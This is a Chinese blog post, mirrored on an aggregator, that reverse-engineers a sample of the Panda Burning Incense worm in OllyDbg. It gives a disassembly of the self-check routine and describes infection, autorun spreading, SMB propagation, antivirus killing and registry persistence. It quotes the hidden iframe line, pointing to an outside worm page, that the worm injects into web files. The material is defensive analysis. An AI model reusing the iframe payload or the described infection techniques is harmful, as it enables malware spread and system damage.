zoukankan      html  css  js  c++  java
  • 熊猫烧香病毒样本分析

    前言


    最近学校通知不开学,网课也不想上。学习逆向也有段时间了,就想着找点东西练一下水平不高。找了个病毒分析一比较经典的病毒分析。我看网上有很多关于熊猫烧香病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析方法并未提及。本文主要

    侧重于对熊猫烧香病毒逆向分析过程中的思路和方法的分享

    基本信息


    在这里插入图片描述

    动态分析


    • 分析工具以及环境

      OD
      PEID
      VMware xp虚拟机

    • 详细分析过程与思路

      1. 查看文件基本信息

        在虚拟机中用PEID打开病毒样本文件发现其无壳并且是Delphi编写的,Delphi编译器编译的程序有几个特点。
        第一: 其函数默认调用约定为Register,特点为函数参数是通过寄存器传入的。
        第二: 一般Delphi其字符串存储地址的负偏移一个dword长度处,存放字符串的长度。
        在这里插入图片描述
      2. 打开OD载入病毒样本文件

        来到程序入口点后我们进行进一步分析,我们看到入口点处有 函数①函数②,其中函数②连续调用了三次。我们F8向下执行,并分别进入两个函数分析其功能。
        在这里插入图片描述
        进入函数①我们发现其主要功能就是调用GetModuleHandleA()获得程序基地址(及程序实例句柄)
        在这里插入图片描述向下继续分析函数②,在调用函数②时我们发现其传入了两个参数,我们在数据窗口中分析发现参数有一个为一串字符串:“ ***武*汉*男*生*感*染*下*载*者*** ". 我们F7进入函数内部分析发现
        其就时将eax参数地址下的字符串进行复制 在这里插入图片描述所以我们知道了这三个参数是字符串复制函数,F8向下步过这些函数后。他们把字符串都复制到了一块连续的内存中。我们可以在数据窗口中观察这些字符的内容。
        在这里插入图片描述
        我们接着往下分析,发现两段相同的代码段,只是参数不同。也就是当程序执行完函数0x405360函数0x404018后如果je不成立则结束进程(猜测应该为病毒程序的自效验部分)。我们分别进入连个函数分析。
        在这里插入图片描述
        我们先分析函数0x405360,函数的两个参数分别指向两个字符串一个是“xboy”,另一个如下。将这连个字符串经过如下算法加密后得到一个字符串为“ ***武*汉*男*生*感*染*下*载*者*** "存到0x009000c0地址处
        在这里插入图片描述
    00405360  /$  55            push ebp
    00405361  |.  8BEC          mov ebp,esp
    00405363  |.  83C4 E8       add esp,-0x18
    00405366  |.  53            push ebx
    00405367  |.  56            push esi
    00405368  |.  57            push edi
    00405369  |.  33DB          xor ebx,ebx
    0040536B  |.  895D E8       mov [local.6],ebx
    0040536E  |.  895D F0       mov [local.4],ebx
    00405371  |.  895D EC       mov [local.5],ebx
    00405374  |.  894D F4       mov [local.3],ecx
    00405377  |.  8955 F8       mov [local.2],edx
    0040537A  |.  8945 FC       mov [local.1],eax
    0040537D  |.  8B45 FC       mov eax,[local.1]
    00405380  |.  E8 37EDFFFF   call 004040BC
    00405385  |.  8B45 F8       mov eax,[local.2]
    00405388  |.  E8 2FEDFFFF   call 004040BC
    0040538D  |.  33C0          xor eax,eax
    0040538F  |.  55            push ebp
    00405390  |.  68 4A544000   push 0x40544A
    00405395  |.  64:FF30       push dword ptr fs:[eax]
    00405398  |.  64:8920       mov dword ptr fs:[eax],esp
    0040539B  |.  837D FC 00    cmp [local.1],0x0
    0040539F  |.  75 0A         jnz X004053AB
    004053A1  |.  8B45 F4       mov eax,[local.3]
    004053A4  |.  E8 9BE8FFFF   call 00403C44
    004053A9  |.  EB 77         jmp X00405422
    004053AB  |>  8D45 EC       lea eax,[local.5]
    004053AE  |.  8B55 F8       mov edx,[local.2]
    004053B1  |.  E8 26E9FFFF   call 00403CDC
    004053B6  |.  8D45 F0       lea eax,[local.4]
    004053B9  |.  E8 86E8FFFF   call 00403C44
    004053BE  |.  8B45 FC       mov eax,[local.1]
    004053C1  |.  E8 06EBFFFF   call 00403ECC                                      ;  strlen(字符串1)
    004053C6  |.  8BF0          mov esi,eax                                        ;  esi = eax
    004053C8  |.  85F6          test esi,esi                                       ;  if(esi == 0)
    004053CA  |.  7E 4B         jle X00405417                                      ;      break
    004053CC  |.  BB 01000000   mov ebx,0x1                                        ;  ebx = 1
    004053D1  |>  8B45 EC       /mov eax,[local.5]                                 ;  do{
    004053D4  |.  E8 F3EAFFFF   |call 00403ECC                                     ;  strlen(字符串2)
    004053D9  |.  50            |push eax
    004053DA  |.  8BC3          |mov eax,ebx                                       ;      eax = ebx
    004053DC  |.  5A            |pop edx                                           ;      edx = eax
    004053DD  |.  8BCA          |mov ecx,edx                                       ;      ecx = edx
    004053DF  |.  99            |cdq
    004053E0  |.  F7F9          |idiv ecx                                          ;      edx = eax % ecx
    004053E2  |.  8BFA          |mov edi,edx                                       ;      edi = edx
    004053E4  |.  47            |inc edi                                           ;      edi++
    004053E5  |.  8B45 EC       |mov eax,[local.5]
    004053E8  |.  0FB64438 FF   |movzx eax,byte ptr ds:[eax+edi-0x1]               ;      eax = str1[edi - 1]
    004053ED  |.  B9 0A000000   |mov ecx,0xA                                       ;      ecx = 10
    004053F2  |.  33D2          |xor edx,edx                                       ;      edx = 0
    004053F4  |.  F7F1          |div ecx                                           ;      edx = eax % ecx
    004053F6  |.  8B45 FC       |mov eax,[local.1]
    004053F9  |.  0FB64418 FF   |movzx eax,byte ptr ds:[eax+ebx-0x1]               ;      eax = str2[edi - 1]
    004053FE  |.  33D0          |xor edx,eax                                       ;      edx = edx ^ eax
    00405400  |.  8D45 E8       |lea eax,[local.6]
    00405403  |.  E8 24EAFFFF   |call 00403E2C                                     ;      eax[ebx] = edx
    00405408  |.  8B55 E8       |mov edx,[local.6]
    0040540B  |.  8D45 F0       |lea eax,[local.4]
    0040540E  |.  E8 C1EAFFFF   |call 00403ED4
    00405413  |.  43            |inc ebx                                           ;      ebx++
    00405414  |.  4E            |dec esi                                           ;      esi--
    00405415  |.^ 75 BA         jnz X004053D1                                     ;  }
    00405417  |>  8B45 F4       mov eax,[local.3]
    0040541A  |.  8B55 F0       mov edx,[local.4]
    
    
    

    我们接着分析函数0x404018,我们发现其是比较两个参数eax所指向的字符串和edx所指向的字符串是否相等,而此时eax指向的字符串刚好是加密函数0x405360所产生的在0x009000c0地址下的字符串。而edx指向的地址0x0090000c地址下的字符串也刚好为此字符串,二者相当。所以不会结束进程。
    在这里插入图片描述
    在这里插入图片描述
    现在我们知道了函数0x405360是一个加密函数,而函数0x404018是一个字符串比较函数。从而判断源文件是否被修改。
    一共有两处这种判断,我们继续往下动态分析得第二处是将字符串“whboy”与如下字符串经过函数0x405360加密后得到第二张图中的字符串
    在这里插入图片描述
    在这里插入图片描述
    程序通过这两处自效验过程后,继续运行我们继续向下分析发现程序在调用三个函数之后就会进入消息循环,所以我们可以得知这三个函数是这个病毒的主要功能。
    在这里插入图片描述

    • 第一个函数:
      我们F7进入第一个函数,然后我们通过动态调试进入每一个Call分析其功能,最后分析如下。其会先调用GetMoudleFileNameA( )函数获得程序完整路径,然后在完整路径的基础上去掉程序名得到一个字符串后与Desktep.ini连接。并通过FindFirstFileA( )函数寻找此文件。如果找到了则删除此文件,否则跳过继续执行。
      在这里插入图片描述我们继续往下分析,其会调用ReadFile()把自己读到内存中,然后调用GetFileSize()获得文件的大小接着其会判断文件的最后一个字节是不是等于1,意思是等与1就证明其被感染文件随之去执行上方一部分代码块,否则则继续执行。
      在这里插入图片描述接着往下分析,程序会会获取系统路径并与drivers和spcolsv.exe连接成路径并于程序自身路径比较看是否相等,相等则会跳转。
      在这里插入图片描述
      因为程序路径与此路径不匹配,所以其不会跳转。接下来程序会利用OpenProcrss()函数来提成程序的权限,然后会调用CopyFile()函数把自身复制一份到系统路径的drivers文件夹下,并命名为spcolsv.exe. 创建完之后程序会调用WinExec( )运行此程序,并结束进程。

    在这里插入图片描述如此我们知道了,panda.exe主要是为了在系统目录的driver文件夹下创建病毒的副本spcolsv.exe文件并运行它。这样其在上方判断路径是否相等时就会成立,从而是程序继续往下执行。
    接下来我们可以恢复虚拟机的初始快照,并再次分析病毒样本,当我们运行来到路径判断处时我们只要把ZF为置0即可让程序认为自己就时系统目录drivers文件夹下的spcolsv.exe程序了,接着我们就可以继续往下分析了。

    在这里插入图片描述接着分析后我们第一个函数运行返回了。我们紧接着可以分析第二个功能函数了。
    在这里插入图片描述

    • 第二个函数:
      我们F7进入第二个函数后发现其调用了3个函数后返回,那我们就一个一个分析。
      在这里插入图片描述我们F7继续进入第一个函数后,返现此函数仅仅调用了CreateThread( )创建了一个线程。线程函数为0x0040A6C8函数,我们可以在此函数入口处下断点
      在这里插入图片描述
      我们这里使用一个技巧来完成多线程的调试,那就是我们可以在运行完此函数返回后直接跳过后两个函数,这样第二个功能函数返回后,我们也不执行第三个功能函数,直接让程序进入消息循环。这样一来方便我们调试此线程。当程序返回消息循环后我们F9运行程序,这是那个新创建的线程已经启动,并且程序断在了我们设置的线程函数入口断点处。
      在这里插入图片描述接着我们反汇编查看0x004076b4函数,发现其调用了GetDriveType( )。我们F7进入动态调试,我们发现其会从A遍历到Z盘,把存在的盘符保存到0x9c0160地址处。

    在这里插入图片描述接着会把存在的盘符与“:”连接在一起。接着会调用0x4094a4函数,反汇编查看此函数时发现可疑。我们F7进入进一步分析。

    在这里插入图片描述进一步分析我们发现其会把刚才找到存在的盘符与“ *.* ”连接后,调用 FindFirstFileA( )寻找任意文件,如果找不到文件就跳转结束。(因为此时肯定有文件,所以F8运行其一定不会跳转,接着我们进一步往下分析)
    在这里插入图片描述
    当前寻找到文件后就会获得其扩展名,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用DeleteFile( )删除.(GHO文件时系统备份文件,其是防止系统恢复)。
    在这里插入图片描述然后其又会比较找到的文件是否为setup.exe或者NTDETECT.COM,如果为这两个文件的话则直接去寻找下一个文件,不做任何操作。在这里插入图片描述如果不是上述两个文件则继续判断文件的后缀,如果是exe,scr,pif,com文件则调用0x0040800函数,如果是htm,html,asp,php,jsp,aspx文件的话则会调用0x00407adc函数。

    在这里插入图片描述我们这里在这里判断是否为exe文件处下断点,运行程序后当寻找到磁盘中的cmdline.exe文件后其会进入第一类函数中进行感染文件,我们F7进入后会分析。其会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。

    在这里插入图片描述接着会判断查找到的文件是否为正在运行的程序,如果相等则直接返回。

    在这里插入图片描述接着其会把寻找的到的exe文件读到内存中,并且设置文件属性。
    在这里插入图片描述然后会将正在运行的病毒样本文件复制为待感染的exe文件。这样一来现在此exe文件现在就是病毒文件了。
    在这里插入图片描述然后往下通过动态分析得:其会获得原文件得大小然后和文件名与字符whboy连接在一起并以1结尾,构成一段字符串。然后一次在病毒程序后追加写入原文件和上述标志信息。
    得感染后得文件组成为

    病毒文件 原文件 标志信息

    接着我们利用上述思路分析0x00407adc函数得出其是通过将主要将字符串“<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>”添加到文件末尾而感染网络文件得。
    分析完第二功能函数得第一个函数后,我们接着去分析第二个函数。我们从新加载程序,并且我们直接设eip为第二个功能函数得第二个函数。这样便于分析,不会受到前面函数得影响。

    在这里插入图片描述F7进入此函数后发现设置了一个计时器,那么我们为了方便分析此计时器回调函数干了什么,我们同样先在计时器回调函数处下断点,然后在执行完此函数后直接返回到消息循环中。运行程序,发现程序会停在此计时器回调函数中。
    在这里插入图片描述我们往下分析此函数,其会先在已存在得盘得根目录下寻找setup.exe文件与autorun.inf文件。然后如果没有寻找到此文件就跳转。

    在这里插入图片描述
    跟着跳转后,其会把正在运行得病毒文件复制为c:setup.exe。
    在这里插入图片描述在这里插入图片描述
    随后又创建c:autorun.inf文件
    在这里插入图片描述往文件中写入一下内容后,将setup.exe与autorun.inf得属性设为隐藏。
    在这里插入图片描述
    在这里插入图片描述此函数到此就分析结束了。
    紧接着我们在分析第二个功能函数得最后一个函数,同样我们重新载入程序,并且直接来到此函数处,不运行前面那几个功能函数。
    在这里插入图片描述F7进入此函数,发现其会创建线程,而且是循环创建10此。为了便于对此线程回调函数得分析,我们在其执行一次创建后就让其返回到消息循环中。
    并在线程回调函数处下断点,运行程序将会断在此断点处。

    在这里插入图片描述程序停到此线程回调函数入口点后,我们进一步分析。发现此函数会通过端口139和端口445进行区域网传播。
    在这里插入图片描述在这里插入图片描述这样此函数就分析完了,到此为止我们把前两个功能函数已经分析完了,下面分析第三个功能函数

    • 第三个函数:
      我们还是重新载入程序后,直接设置eip来到第三个功能函数处。然后我们F7进入函数后发现其主要功能就是设置了4个计时器。通过四个计时器回调函数来完成具体得功能。
      在这里插入图片描述我们还是采用以前得思路,在其计时器回调函数处下断点后我们运行完一个计时器设置函数后直接来到消息循环处。但是我们要注意其有的计时器设置得时间周期较长,我们可以在调用时把时间周期参数该小点。
    1. 第一个计时器回调函数
      进入函数后我们发现函数调用了0x00406f3c函数,进入后发现是创建了一个线程。我们在线程回调函数处下断点并采用老方法来到断点处。在这里插入图片描述
      来到断点处我们发现其共有3种操作,一遍历杀毒软件并关闭。
      在这里插入图片描述二是设置特权
      在这里插入图片描述三是关闭任务管理器等一些程序
      在这里插入图片描述分析完线程函数后我们回到主线程继续分析其调用RegCreatekeyExA()---->RegSetValaueExA ----> RegCloseKey()来设置两个启动项,第一个是用来在开机时自动启动病毒。另一个是设置使用户无法查看隐藏文件

    在这里插入图片描述

    1. 第二个计时器回调函数
      接着重新载入程序来到第二个计时器回调函数处。我们在调用第二个计时器设置函数时我们应把其时间周期参数该小点,改为1000(1s)。然后在分析运行程序。
      在这里插入图片描述程序来到计时器回调函数中,发现函数实际是创建了一个线程。我们还采用直接在此线程回调函数处下断点,然后我们运行程序。
      在这里插入图片描述
      我们运行程序后,程序会停在线程回调函数得断点处。接下来我们就可以对此线程回调函数进一步分析。我们发现其会先调用0x40c728函数将一段密文与“xboy”进行一定得运算,算法和文件自效验时用的一样。最后得到一个网址。
      在这里插入图片描述接下来其会调用函数0x40c81c,反汇编查看发现可疑,我们F7进入分析。发现其实际是从刚才产生得那个网址上试图从网站读取到网页源代码并且运行代码。

    2. 第三个计时器回调函数
      当程序停在第三个即使回调函数处时,我们发现其创建了两个线程。在这里插入图片描述我们反汇编查看第二个线程得回调函数发现其利用cmd命令删除了共享文件

    在这里插入图片描述

    1. 第四个计时器回调函数

    来到第四个计时器回调函数后发现其创建了一个线程
    在这里插入图片描述我们在线程回调函数下断点,运行程序来到回调函数处。我们发现此回调函数主要是删除一些服务和杀毒软件得启动项(瑞星了什么的)

    在这里插入图片描述

    总结

    该文就是我在分析病毒时的思路,没用IDA就时想锻炼锻炼反汇编代码的能力。动态调试结合IDA会更方便分析。第一次分析病毒如有不对的地方还请路过的大牛指点。

  • 相关阅读:
    js 小数取整的函数
    VS2015 Apache Cordova
    C# 标签(条码)
    异步提交form的时候利用jQuery validate实现表单验证
    调试javascript
    Chrome 控制台console的用法
    MvcPager分页控件以适用Bootstrap
    更好理解接口
    为什么上班一天都是坐着,但仍会疲惫不堪?(转)
    如何解决空虚感?(转)
  • 原文地址:https://www.cnblogs.com/revercc/p/13287076.html
Copyright © 2011-2022 走看看